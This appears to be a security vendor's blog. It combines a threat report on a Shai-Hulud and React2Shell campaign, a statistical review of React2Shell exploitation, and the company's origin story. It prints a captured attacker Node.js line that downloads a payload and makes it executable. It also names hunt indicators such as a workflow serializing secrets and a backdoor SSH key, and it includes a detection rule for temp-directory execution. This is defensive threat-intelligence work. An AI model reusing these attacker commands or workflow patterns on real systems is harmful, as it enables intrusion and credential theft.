GitHub Actions trusted publishing provides another npm publication path. Inside the hardcoded release-drafter.yml workflow for opensearch-js, the executable exchanges an OpenID Connect (OIDC) token for an npm publish token. It modifies @opensearch-project/opensearch with a malicious optional dependency then publishes it with generated Sigstore provenance.

Datadog Security Labs documented the same propagation components in its static analysis of the Shai-Hulud framework.

Three hosts support delivery and control

The exploit requests contain commands for all three payload stages. Those commands fetch the standalone Shai-Hulud executable and deploy script from the EC2 host. They fetch the SSH worm from a host we assess as a compromised third-party victim. They return registration data to the host that sent the requests. The same host exposes the operator's panel.

The active operator address is withheld. It is a US address associated with BLNWX. The EC2 address is masked. The host we assess as a compromised third-party victim is withheld altogether, including its network. We notified the owner and are withholding identifying details to allow time for remediation.

Host	Origin	Role
Withheld operator host	BLNWX, US	Every exploit attempt, the registration command-and-control (C2) endpoint and the operator's panel
`18.214.X.X`, a cloud instance	AS14618 Amazon EC2, US	Serves the standalone stealer, deploy artifact and collector
Withheld victim host	Withheld	Serves the SSH worm. Assessed as a compromised third-party victim; owner notified

The operator host exposes SSH and a Python BaseHTTP service on port 9000. The service identifies itself as CommandCenter — Server Fleet Manager, a dashboard for Linux monitoring and remote command execution. Its login overlay runs client-side. The page states that credentials reside in center.conf on the server. Its table contains address, label, port, tag, status and action fields. The third handler registers victim gs-netcat keys to this same host. These roles link the exploit source, registration endpoint and fleet panel to one host.

The collector endpoint remained active as of 11 August.

The third handler makes the deploy artifact executable then extracts a gs-netcat secret from its output. gs-netcat is part of the public Global Socket toolkit.

The campaign combines a new variant with reused tooling

The campaign combines a new standalone Shai-Hulud variant with three reused components:

The standalone Shai-Hulud variant is new. It is derived from the public Shai-Hulud codebase and retains its credential-collection and propagation code but adds a dedicated Shai-Hulud-Standalone target and standalonePolyfill.ts. It embeds the Bun runtime in one executable and writes collected results to standard output. Previously documented variants download Bun, execute a script and implement their own exfiltration.
The React2Shell exploit is derived from PCPcat tooling. Its requests carry the same fixed multipart boundary as the PCPcat exploit documented by Rubrik Zero Labs. The shared boundary supports code reuse. It does not establish a common operator.
The SSH worm is derived from SSH-Snake. It adds a wrapper that reports access details to a Discord webhook.
The reverse shell uses Global Socket. The campaign deploys the public gs-netcat tooling through its SSH and persistence stages.

What to hunt for

The first group combines the standalone sample hash with code and runtime indicators shared by the documented npm variant and this standalone variant.

The abuse.ch entry for the standalone Shai-Hulud variant is located here.

Indicator	Context
SHA-256 `dcbf7b7f32b4f9b326b3bf7c8f2548f642b294b8dbe01e02154d8fcc27b7da84`	Standalone Shai-Hulud ELF sample
`User-Agent: node` to `api.github.com`	Used for every GitHub API request
`dependabot/github_actions/format/setup-formatter`	Pushed without a pull request
`.github/workflows/codeql_analysis.yml`	Workflow injected on the branch above
`github-advanced-security[bot]` committer	Verify the authenticated actor in audit logs
`Run Copilot` from `codeql_analysis.yml`	Workflow name and filename do not match
`${{ toJSON(secrets) }}`	Serializes workflow secrets
`format-results` artifact	Stores serialized secrets
Workflow run and branch deleted within seconds	Hunt in audit logs
`sudo python3` reading `Runner.Worker` memory	Correlate with parent process; debuggers may overlap
Non-interactive `gh auth token`	Reads the GitHub CLI credential

The fixed branch, workflow, committer and artifact names match the documented npm variant. Apply them to both variants.

Indicator	Context
POST to `^/[a-z]{8}$`	Injected command path; low specificity alone
`backup@localhost` key fingerprint `SHA256:0w8kzav6+IxH/ma8VXmdTsyyQAK1OdW6RSfA0KbbpW4`	Added to `/root/.ssh/authorized_keys`
`/dev/shm/.ts`	Deploy artifact
`/usr/bin/qq`, `/usr/bin/ww`	Copies of `curl` and `wget`
`D-Bus System Connection Bus`	Disguised systemd unit
`[kworker]`, `[kswapd0]` via `exec -a`	Disguised Global Socket process
`gs-dbus` or `gs-db` beside a `.dat` file	Global Socket binary and secret
`cdn.gsocket.io`	Global Socket download host
SHA-256 `2171deb9293361fd801691948264ad8dc7864935140834449307d040a6d67787`	Global Socket installer

Method and disclosure

Bitbison records and analyzes system operations and their complete causal histories without sampling at production scale.

We built its sensors and data model to be natively aware of both application and kernel activity. Standard OpenTelemetry data becomes part of the same causal record. We could therefore attribute system-level side effects to the application request that caused them. This connected the React2Shell requests to the in-process handlers, shell commands, downloaded payloads and resulting network activity.

We recovered the payload stages delivered to the observed host and performed static analysis of the standalone executable. The runtime record establishes which code executed. Static analysis identifies additional capabilities present in the artifact. Our internal harnesses and runtimes use the complete causal record to automate broad parts of this analysis with AI. Each result retains the source operations and causal edges needed for verification.

We reported the Discord webhook and control-channel token to Discord. We notified the hosting providers for the attacker-controlled infrastructure through their published abuse contacts. We also notified the owner of the withheld third-party host. We submitted the samples to abuse.ch. The standalone sample is linked in the hunt data above.

Want more? Security researchers can contact us at team@. We are happy to share additional data.

React2Shell: 8 months later

2026-08-09T00:00:00Z

Most scanning never became exploitation

Of 1,386 distinct addresses that scanned or probed the hosts, 19 executed a proof command (1.4%). Twelve continued into post-exploitation activity (0.87%). The 47 compromises were events rather than unique sources. Some sources compromised a host more than once.

Failure continued after entry. Operators repeatedly launched persistence, delivery and eviction branches without checking whether they worked.

Successful exploitation did not always create a process

Of the 1,560 exploit requests that reached the gadget, 20.3% spawned no child process. 3.1% also made no outbound connection and produced no distinguishing reverse-proxy record. The proxy returned HTTP 500 for all 1,560 requests whether the exploit succeeded or failed.

One operator delivered the same payload to the same path in two forms within minutes. The first used wget and a shell. The second resolved the fetch, write and permission change inside Node:

process.mainModule.require('http').get(
  'http://[address-withheld]/nuts/poop',
  r => r.pipe(require('fs').createWriteStream('/app/let')
    .on('finish', () => fs.chmodSync('/app/let', 0o711)))
)

Only the first form appeared in process-creation telemetry. Bitbison recorded both.

Two additional results define the limits of conventional evidence:

Eight of nine recovered campaign samples were absent from public malware collections when we checked. Three are present now because we submitted them.
A credential harvester stole a planted SSH key, fake AWS credentials, a wallet seed and the environment in 32 seconds. The key was never reused. The account worked. Outbound SSH was permitted and both ends were observed.

Operator bloopers

At the risk of helping the operators debug their code, the record contains an amusing set of post-compromise failures:

A persistence branch attempted to create a backdoor account with passwordless sudo. The web user could not run useradd. Every result went to /dev/null, so it failed 74 times without informing the operator.
The standalone Mini Shai-Hulud chain included a PHP fallback with a parse error. The operator eventually reached execution through another path.
Another actor requested a payload URL with http:// duplicated before its redacted host. The payload existed on the actor's server, but the doubled scheme prevented delivery.
A 124-byte watchdog attempted to trap SIGKILL. Linux does not permit this. The watchdog then restarted its implant every 60 seconds.
The mining script tried to delete rondo from a stale path. Both implants ran together for ten hours without either operator noticing.
The same miner retained XMRig's developer donation. Part of the cryptocurrency mined on compromised hosts went to XMRig's authors.

What defenders should do

Resolve the installed React dependency instead of trusting the manifest. Many affected applications declared Next.js and received React transitively. npm ls --all reports the effective tree. Inspect the installed react-server-dom-* packages.
Upgrade to a currently supported patched release. The React2Shell RCE patch remains effective, but later RSC flaws received CVE-2025-55183, CVE-2025-55184, CVE-2025-67779 and CVE-2026-23864.
Record what request handlers do, not only the processes they spawn. A fifth of the activity in this window produced no process.
Treat paths, hashes and public corpora as retrospective evidence rather than detection boundaries. Attackers used twelve drop directories and randomized names on each execution. Twenty-nine filenames did not represent 29 binaries.

Method and disclosure

Bitbison records and analyzes system operations and their complete causal histories without sampling at production scale.

We made this record a foundational property of the policy system. Our extensible data model let us attribute system-level side effects to application behavior exposed through standard OpenTelemetry instrumentation. Our internal harnesses and runtimes use the complete causal record to automate broad parts of the analysis with AI. Each result retains the source operations and causal edges needed for verification. The resulting record let us distinguish successful exploitation from failure even when an attempt created no child process, made no outbound connection and produced the same HTTP 500 response as every other attempt.

The measurements cover 48 hours across 13 independent exposure windows. Both detection systems ran throughout. The alternative used its stock ruleset. Neither system was tuned. Known research scanners were excluded before counting executing addresses.

Want more? Security researchers can contact us at team@. We are happy to share additional data.

Building a new foundation for security

2026-07-01T00:00:00Z

Bitbison was born from personal pain with the runtime security ecosystem and everything that touches it, including supply chain and non-deterministic agentic workloads that are effectively insider threats. When I started this journey, 0-day exploits were expensive, agents were on the fringe and major supply chain attacks were uncommon. The current generation of frontier models changed that quickly. 0-days are now a commodity, major supply chain attacks are a regular occurrence and every organization now hosts a potential insider threat in the form of AI agents that lack sufficient security controls.

We can no longer operate production systems without a significant improvement to security observability and policy. With the support of our investors, angels and advisors, we have brought together a world-class team to share a modern re-imagining of security. We are now opening early access for anyone interested in playing an active role in shaping it. This post is the story of why we started and what we chose to build first.

The origin story

The day we got popped

Log4Shell was disclosed in December 2021 and impacted hundreds of millions of systems. One of the organizations I was involved with was among them. A build server had a VPN misconfiguration and was accidentally exposed to the internet. We were running current runtime security products alongside file integrity monitoring and malware scanners. There was no detection. A CPU utilization alert we decided not to ignore is what brought the breach to our attention. We were not expecting a breach at all.

We logged into the system and identified a Bitcoin miner. There was nothing else to go on. Aside from the miner, no new files were present. There was no indication of further persistence and no log of what else the attacker did with the instance. Our build and packaging environment was isolated, so we could determine that neither our source nor our external packages were compromised. We could not determine whether anything was exfiltrated, whether the attack was targeted or whether there were attempts at lateral movement. Leaving no evidence behind is easy. I learned first hand during forensics that the default disposition of runtime security products is to log almost nothing. This holds even when there is a detection. We re-imaged the instance and crossed our fingers.

This always bothered me.

The insider threat problem

Another organization I was involved with went through several rounds of lay-offs in the economic aftermath of COVID. I inherited a severely understaffed security organization with insufficient tooling, through no fault of its own. I had assumed that decades of improvements to systems observability for performance had been extended to runtime security monitoring. That was not the case.

Most engineers disabled or circumvented the runtime monitoring products because of their impact on system performance. When enabled, observability was limited. I was surprised to learn the modern approach to runtime security is still built on whitelists. As with the Log4Shell episode, the observability was not there to answer what did or did not happen across thousands of endpoints and servers.

Our small security team was tasked with identifying insider threats. One employee exfiltrated intellectual property. Telemetry was minimal; aside from an anomalous increase in outbound network traffic, there was no way to scope the exfiltration with certainty. The tooling could not observe everything all the time. The performance trade-off meant the best you could hope for was whitelist monitoring, which is ineffective when the monitored systems run arbitrary workloads.

Solving the observability problem

We started by revisiting the observability problem. We could not have detected activity that was never observed. No audit is possible when nothing is logged. Existing audit systems do not meet this bar; full capture slows workloads by 2x to 8x. The problem is logging enough to understand cause and effect, at production scale, with minimal impact to the runtime.

This is a deep problem with close to 20 years of active research behind it, known as full systems provenance. It breaks into two parts:

Monitoring all system activity, all the time, so the cause-and-effect relationship between events is preserved.
Storing that information so an audit is always possible.

R. Sekar, Hanke Kimm and Rohit Aich measured how existing systems handle the first problem. Their eAudit paper at the 2024 IEEE Symposium on Security and Privacy benchmarks the established collection systems including sysdig, auditd and CamFlow. Under sustained workloads every one of them drops events. Complete capture is only reached after the workload itself has been slowed down to a crawl.

Figure 2 from eAudit: A Fast, Scalable and Deployable Audit Data Collection System by R. Sekar, Hanke Kimm and Rohit Aich (IEEE Symposium on Security and Privacy, 2024). The fraction of events dropped by each system, plotted against how much the benchmark had to be slowed down before capture became complete.

We built Bitbison to remove this trade-off. Below is a full-fidelity capture of a 16-core parallel compilation of the Ubuntu Linux kernel. The industry standard solution loses 50% of events at 100% CPU cost and 9.2 GB of storage. Bitbison loses 0% of events at 6% CPU and 80 MB.

Attempted full capture

The same holds on servers. Below is a production workloads with the default coverage of a leading runtime monitoring solution over a four hour period. The most data-rich agent on the market spikes to 129% of a core and records 56,587 events, 7.8% of what happened. Bitbison stays under 8% of a single core and records all 722,683 events.

CPU utilization on production host

Even without attempting audit-grade capture, existing systems carry workload-impacting CPU and memory costs while providing near 0% runtime observability.

Detection built on deep observability

Bitbison now runs on dozens of production systems and developer laptops and is actively processing billions of events. It is already deployed in production at a leading semiconductor company. It provides complete causal coverage of all activity on the systems it runs on, at a fraction of the CPU and memory of alternatives. Going back to the origin story, this solves the first major pain point. We are no longer blind. Had Bitbison existed then, one query would have told us exactly what happened during the Log4Shell breach. The insider exfiltration would have been scoped the same way.

What a detection looked like before Bitbison

In one of our red team scenarios an account was compromised. The attacker logged into the system, established a reverse shell with netcat, then downloaded and executed malware. We purposefully chose a sequence we knew would be detectable, to measure the visibility we would be given.

Below is what the existing EDR (endpoint detection and response) solution surfaced to us.

A threat graph

A breach scenario as surfaced by a modern EDR. Click to zoom and pan.

An analyst left to investigate this detection has nothing beyond this graph to go on. Note that the attack sequence had to be modified to be detectable in the first place. Even with a detection, all we know is:

A legitimate session was started.
A reverse shell was probably launched through the ncat command listening on port 80.
The reverse shell launched a shell.
The shell then executed curl to download a Python script.
That Python script was probably executed.

The story is incomplete. The graph cannot say what connected to the reverse shell, what files were touched or whether anything left the host. In this scenario Bitbison ingests signals from third party runtime products and augments them with its own causally complete system capture.

What a detection looks like with Bitbison

Below is the same detection in Bitbison, and it is possible to simply enrich your existing detection with Bitbison.

Bitbison’s signal analysis of the session above. Click to zoom and pan.

This signal is confirmed as a true positive: a root bind shell on TCP/80 driven by an external operator, a credential-stealing script fetched from an external host and a beacon out over HTTPS. The report also states what did not happen; no SSH key reads, no /etc/shadow reads and no persistence survived the session. Every conclusion links back to recorded events. The analysis is backed by a formal verification framework built on an in-house model checker to ensure consistent coverage of the investigation.

The scope is both complete and exact.

Evolving policy

The past

The birth of the EDR and runtime security category is attributed to a shift from the signature matching of antivirus products to what is now called "behavioral analysis". In practice, behavioral analysis is pattern matching on process names and system call arguments over an already incomplete stream of data; runtime monitoring's performance bottleneck limits it to coarse-grained events. Some machine learning approaches have made it to production but they:

Are limited by the fundamental observability problem; you cannot write rules against things never observed.
Are high latency and unable to detect breaches in real time.

For example, a policy today to alert on an untrusted executable may be dozens of rules that look similar to this:

- rule: Execution from Temp Directory
  desc: >
    Detect a binary being executed from /tmp or /var/tmp,
    a common pattern for dropped payloads and post-exploitation tooling.
  condition: >
    spawned_process
    and (proc.exepath startswith /tmp/
         or proc.exepath startswith /var/tmp/)
  output: >
    Program executed from temp directory
    (user=%user.name command=%proc.cmdline exe=%proc.exepath
    parent=%proc.pname container_id=%container.id image=%container.image.repository)
  priority: WARNING
  tags: [mitre_execution, T1059, filesystem]

In other words, if a process is spawned and its executable begins with /tmp or /var/tmp, trigger an alert. This rule is typically evaded. Even commodity bots and exploits will avoid such directories. In the Log4Shell breach described earlier, detection was evaded because the attacker executed malware from a service directory.

Fundamentally, modern policies are little more than allow and deny lists.

A better approach

Pattern matching has a place but a stronger approach can replace most of its use cases. Bitbison makes full causal logging practical. This means it can reason statefully over the system and its history, including provenance: how things came to be on the system. Once questions like "who created this file?" and "which network endpoints influenced its creation?" can be answered in near real time, policies can be defined against the state of the system and flows of behavior, much closer to their true intention. In the example above, the intention is to only permit trusted programs to execute. Trust is defined by the provenance of the file: who installed it and from where. Bitbison can specify this directly.

alert on $e:fspath →[execute] _ unless (
 pkgmgr →[proc] $i:thd, $i →[write] $e, conns($i) ⊆ repos );

In other words, the policy directly specifies "alert on any executable whose origin and contents cannot be exclusively traced back to the package manager installing from an official repository.

There are no false positives here and there is no list to evade. The origin of everything is always available to query against.

What made this possible

It was not easy. We went back to fundamentals and rethought the observability data model itself: data structures, memory management, allocation and data representation both in memory and on disk. Bitbison pairs several novel approaches to that data model with current techniques in vectorization, concurrent data structures and storage representation. It is the result of the collective experience of our whole careers.

What comes next

Bitbison for Servers and Bitbison for Builds are available today for design partners, all under the umbrella of a holistic security platform that begins by securing your most important assets and the workloads they run on.

You will work closely with our team and have a direct impact on our capabilities and supported use cases. The surface area is broad. As the team scales out, we imagine a single platform covering endpoints, servers, agents, developer workstations and more. The more complete the provenance graph, the stronger the security guarantees that can be made.

Request a demo.